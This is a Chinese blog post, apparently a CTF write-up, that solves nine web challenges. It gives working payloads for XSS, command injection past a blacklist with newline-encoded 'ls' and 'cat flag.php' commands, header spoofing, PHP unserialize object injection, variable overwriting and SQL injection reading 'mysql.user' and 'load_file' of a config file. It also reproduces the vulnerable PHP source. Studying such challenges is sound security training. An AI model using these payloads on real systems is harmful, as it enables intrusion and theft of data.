文档章节

CTF随笔(一)

Pulsar-V
 Pulsar-V
发布于 2017/08/07 11:20
字数 1656
阅读 469
收藏 0

WEB01

XSS水题
直接提交poc吧

http://xxx.com/xss1.php?bug="></h2><h1+onclick="alert()">ssss<h1><h2++value="&submit=submit!

输入图片说明

WEB02

这题需要我们构造远程js连接,通过CSS层级列表的background:url(http://xxx.com)方式去引入js,当然,我们需要绕过同源保护策略
GOGOGO我们的exp(PS我这儿只是做示范引入Jquery)

http://xxx.com/xss2.php?bug="><style>body{background:url(https://code.jquery.com/jquery-3.2.1.min.js);}<style><h1+value"&submit=提交

输入图片说明
嗯,成功引入说明同源策略并没有

WEB03

这题有个hint:swp嗯,Linux的交换空间文件,有点意思
好吧,构造请求交换空间文件的请求
输入图片说明
拿到这个文件构造出来的源代码句子

?>  	 	
echo  "<pre>{$cmd}</pre>"; 	// Feedback for the end user  	} 		
$cmd = shell_exec( 'ping  -c 1 ' . $target ); 		// *nix 	
else { 	} 		$cmd = shell_exec( 'ping  ' . $target ); 		 		
// Windows 
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
	// Determine OS and execute the ping command.  	
	// var_dump($target);       	
	$target = str_replace( array_keys( $substitutions ), 
	$substitutions, $target ); 	// Remove any of the charactars in the array (blacklist).  
	); 	
	'||' => '', 		'`'  => '', 		')'  => '', 		'('  => '', 		'$'  => '',
	'-'  => '', 		'|' => '', 		';' => '', 		'&'  => '', 
	$substitutions = array( 	// Set blacklist 	// 
	var_dump($target); 	
	$target=trim($target);     // var_dump($target); 	
	$target = $_REQUEST[ 'ip' ];  	// Get input 
 <?php 

emmmmmmm交换空间里拿到的是反的,正回去

$target = $_REQUEST['ip'];   

$target = trim($target);    

var_dump($target);
$substitutions = array(  
    '-' => '', '|' => '', ';' => '', '&' => '', '||' => '', '`' => '', ')' => '', '(' => '', '$' => '',);
$target = str_replace(array_keys($substitutions), $substitutions, $target);    
if (stristr(php_uname('s'), 'Windows NT')) {
    $cmd = shell_exec('ping  -c 1 ' . $target);
} else {
    $cmd = shell_exec('ping  ' . $target);
}
echo "<pre>{$cmd}</pre>";  

可以看到黑名单了
这个时候我们就需要构造命令注入绕过黑名单过滤去获取FLAG

http://xxx.com:4002/?ip=127.0.0.1%0Als

输入图片说明

可以看到flag.php了,接下来去读取它审查元素可以看到FLAG

http://xxx.com:4002/?ip=127.0.0.1%0Acat%20flag.php

WEB04</>

这个。。。。提示???
输入图片说明
哦,这样啊,好的,伪造请求IP,现在我们写个python的exp
怎么伪造呢?我们需要修改请求头的X-Forwarded-For:伪造的IP地址就行啦
下面是poc
(PS:多手写exp不去借助工具来跑,是训练ctf的一个好技巧)

# -*- coding:utf-8 -*-
url="http://xxx.com:2502"
ip="192.168.65."
import urllib.request,urllib.response,http.cookiejar
page_len=-1
for x in range(1,256):
    rip=ip+str(x)
    header_dict = {'X-Forwarded-For':rip}
    req = urllib.request.Request(url, headers=header_dict)
    page = urllib.request.urlopen(req).read().decode("utf-8")
    if(len(page)!=page_len):
        print(len(page))
        print(rip)
        page_len=len(page)

WEB05</>

继续审查元素,我们可以看到一段有趣的提示是这样的
输入图片说明


//try to get flag13579.php

    class just4fun {
        public $filename;
   
        function __toString() {
            return @file_get_contents($this->filename);
        }
    }
   
    $data = stripslashes($_GET['data']);
    if (!$data) {
        die("hello from y");
    }
   
    $token = $data[0];
    $pass = true; 
   
    switch ( $token ) {
        case 'a' :
        case 'O' :
        case 'b' :
        case 'i' :
        case 'd' :
            $pass = ! (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
            break; 
   
        default:
            $pass = false;
   
    }
    if (!$pass) {   
      die("cry again!");
    }
    echo unserialize($data);

嗯unserialize,php???反序列化嘛。 现在我们本地测试一下需要序列化的内容

class just4fun {
    public $filename;
    function __toString() {
        return @file_get_contents($this->filename);
    }
}
$o=new  just4fun();
$o->filename="flag13579.php";
echo serialize($o);

得到对象字符串

O:8:"just4fun":1:{s:8:"filename";s:13:"flag13579.php";}

构造反序列化请求

?data=O:8:"just4fun":1:{s:8:"filename";s:13:"flag13579.php";}

发现上面有个正则表达式

$pass = ! (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );

把O:8给过滤掉了,请求里需要给+号连接符使得正则表达式匹配不上才能获得FLAG

?data=O:%2b8:"just4fun":1:{s:8:"filename";s:13:"flag13579.php";}

WEB06</>

输入图片说明
根据提示取得备份文SYB.php.bak 输入图片说明

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>SYB</title>
</head>

<body style="background-repeat:no-repeat;" background="9s.jpg">
<!--9s在基地的日常扫描中,发现bunker源码泄露了出

来,但这种编程语言对于9s来说太陌生了,你能帮

他看看吗?     pod042:发现gedit备份文件-->

PHP代码段

ini_set("display_errors", 0);//取消错误回显
include_once flag.php;//包含flag所在 的php文件
$str = strstr($_SERVER['REQUEST_URI'], '?');//从URL的问号符分割字符串
$str = substr($str,1);//去掉问号
$str = str_replace('key','',$str);//替换字符串中的key为空字符
parse_str($str);//从字符串中直接转换为变量
//判断,当key1与key2的md5相等而且key1与key2绝对不相等时,输出flag
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag;
}
</body>
</html>

代码复制下来,本地搭建环境进行测试
构造请求如下

http://127.0.0.1/xxx.php?kkeyekeyy1=123&kkeyekeyy2=123

调试结果
输入图片说明 变量覆盖成功

WEB07

SQL水题
打开页面看到源代码

error_reporting(0);
if($_GET['debug']=='1') die(highlight_file(__FILE__));
require 'config.php';
$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
if (!mysqli_select_db($link,MYSQL_USER)) {
    die('Could not select database: ' . mysql_error());
}
    $id = $_GET['id'];

    if(preg_match('#sleep|benchmark|floor|rand|count#is',$id))
        die('Don\'t hurt me :-(');
    $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
    $row = mysqli_fetch_array($query);
    $username = $row['username'];
    if($username === 'guest'){
        $ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
        if(preg_match('#sleep|benchmark|floor|rand|count#is',$ip))
            die('Don\'t hurt me :-(');
        var_dump($ip);
        if(!empty($ip))
            mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");
        $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
        $row = mysqli_fetch_array($query);
        $username = $row['username'];
        if($username === 'admin'){
            echo "What ???????\nLogin as guest&admin at the same time ?\nSeems our code is broken, here is your bounty\n";
            die(FLAG);
        }
        echo "Nothing here";
    } else {
        echo "Hello ".$username;
    }

看看数据库root

?id=1 and 1=2 union select User from mysql.user#

能搞到,权限很高,所以直接读文件吧

?id=1 and 1=2  union select load_file('/var/www/html/config.php')#

输入图片说明

WEB08

找到hint
输入图片说明

class just4fun {
    var $enter;
    var $secret;
}
   
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
   
    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
   
    $o = unserialize($pass);
   
    if ($o) {
        $o->secret = '?????????????';
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}

还是反序列化
开始构造吧

class just4fun {
    var $enter;
    var $secret;
}
$o=new  just4fun();
$o->secret="?????????????";
$o->enter=&$o->secret;
echo serialize($o);

输出字符串

O:8:"just4fun":2:{s:5:"enter";s:13:"?????????????";s:6:"secret";R:2;}

构造请求

http://xxx.com/?pass=O:8:"just4fun":2:{s:5:"enter";s:13:"?????????????";s:6:"secret";R:2;}

##WEB09
输入图片说明
根据提示取得index.php.bak的代码

.index.php.swp

输入图片说明
接下来是解读代码的时间了

b0VIM 7.4      'k圷?  H  root                                    a9446844cd0b                            /app/index.php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    
 3210    #"! U                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 tp                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ad  W
  ?            ?  ?  ?  ?  n  T  Q  O  <  :    ?  ?  ?  ?  ?  ?  ?  [  R  G        ?  ?  ?                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         echo  "<pre>{$cmd}</pre>";
 	// Feedback for the end user
 
 }
 		$cmd = shell_exec( 'ping  -c 1 ' .$ip );
 		// *nix
 }else {
 	$cmd = shell_exec( 'ping  ' .$ip );
 		
 		// Windows
 if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
 	// Determine OS and execute the ping command.
 
 }
     die("length error!");
 if(strlen($ip)<7||strlen($ip)>21){
 
 echo strlen($ip);
 
 }
     die("not allowed!");
 if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){
 
 $ip = isset($_POST['ip'])?$_POST['ip']:die();
 echo 'try to getshell';
 <?php 
 

把它正序一下


/**
 * Created by PhpStorm.
 * User: Summer-V
 * Date: 2017/8/8
 * Time: 1:53
 */
echo 'try to getshell';
$ip = isset($_POST['ip'])?$_POST['ip']:die();
//正则表达式匹配字符串是否为合法IP
if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){
    die("not allowed!");
}
//重点重点重点,这儿有字符长度限制
echo strlen($ip);

if(strlen($ip)<7||strlen($ip)>21){
    die("length error!");
}

	// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    // Windows

    $cmd = shell_exec( 'ping  ' .$ip );
}else {
    // *nix
    $cmd = shell_exec( 'ping  -c 1 ' .$ip );
}

	// Feedback for the end user
echo  "<pre>{$cmd}</pre>";

现在给出一个POST请求
ps:我这儿找了半天。。。。结果在上级目录里面

ip=0.0.0.0%0Acd%20..%0Als

输入图片说明
FLAG文件的名字已经长过了限制字符的长度,怎么办呢?用通配符吧,构造请求

ip=0.0.0.0%0Acd%20..%0Acat%20f*

成功取得FLAG

© 著作权归作者所有

上一篇: CTF随笔(二)
下一篇: ORB图像特征检测
Pulsar-V

Pulsar-V

粉丝 61
博文 151
码字总数 135961
作品 1
成都
架构师
私信 提问
啥是CTF?新手如何入门CTF?

CTF是啥 CTF 是 Capture The Flag 的简称,中文咱们叫夺旗赛,其本意是西方的一种传统运动。在比赛上两军会互相争夺旗帜,当有一方的旗帜已被敌军夺取,就代表了那一方的战败。在信息安全领域...

N0Truth
04/08
0
0
2019 Roar CTF 王小二前线报道| 坦克大战收官,主播福利跟进

  我是王小二,信息安全专业大二的学生。   自从上个月我跟大家介绍了自己变强的经历以后,很多人私信问我真实的CTF比赛经历是什么样的,这是个很难回答的问题。      今天上午12点整...

嘶吼RoarTalk
10/14
0
0
解密开展夺旗(CTF)竞赛前需要了解的十大问题

        随着安全攻防技术的发展,CTF竞赛也逐渐演变成为信息安全技术竞赛的一种形式,发展成为全球网络安全圈最流行的一种竞赛模式,其比赛形式与内容拥有浓厚的黑客精神和黑客文化。...

嘶吼RoarTalk
2018/04/18
0
0
360网络安全职业技能大赛

360杯网络安全职业技能大赛(首届) 由360公司主办,西安电子科技大学协办,陕西省网信办为指导单位。它是面向全国网络安全爱好者、从业者举办的职业技能大赛,致力于为优秀参赛选手提供职业...

360网络安全大学
08/21
67
0
CTF入门指南(0基础)

ctf入门指南 如何入门?如何组队? capture the flag 夺旗比赛 类型: Web 密码学 pwn 程序的逻辑分析,漏洞利用windows、linux、小型机等 misc 杂项,隐写,数据还原,脑洞、社会工程、与信...

angel_kitty
2017/04/11
0
0

没有更多内容

加载失败,请刷新页面

加载更多

SDKMAN推荐一个好

是在大多数基于Unix的系统上管理多个软件开发工具包的并行版本的工具。它提供了一个方便的命令行界面(CLI)和API来安装,切换,删除和列出sdk相关信息。以下是一些特性: By Developers, fo...

hotsmile
26分钟前
8
0
什么是 HDFS

是什么? HDFS 是基于 Java 的分布式文件系统,允许您在 Hadoop 集群中的多个节点上存储大量数据。 起源: 单机容量往往无法存储大量数据,需要跨机器存储。统一管理分布在集群上的文件系统称...

Garphy
29分钟前
4
0
一起来学Java8(四)——复合Lambda

在一起来学Java8(二)——Lambda表达式中我们学习了Lambda表达式的基本用法,现在来了解下复合Lambda。 Lambda表达式的的书写离不开函数式接口,复合Lambda的意思是在使用Lambda表达式实现函...

猿敲月下码
54分钟前
10
0
debian10使用putty配置交换机console口

前言:Linux的推广普及,需要配合解决实际应用方能有成效! 最近强迫自己用linux进行实际工作,过程很痛苦,还好通过网络一一解决,感谢各位无私网友博客的帮助! 系统:debian10 桌面:xfc...

W_Lu
今天
10
0
aelf Enterprise 0.8.0 beta有奖公测,“Bug奖金计划”重磅开启

2019年9月30日,aelf Enterprise 0.8.0 beta版正式发布。aelf Enterprise 0.8.0 beta是一个完备的区块链系统, 包含完备的区块链系统、开发套件、开发文档、以及配套的基础应用和基础服务。 ...

AELF开发者社区
今天
10
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部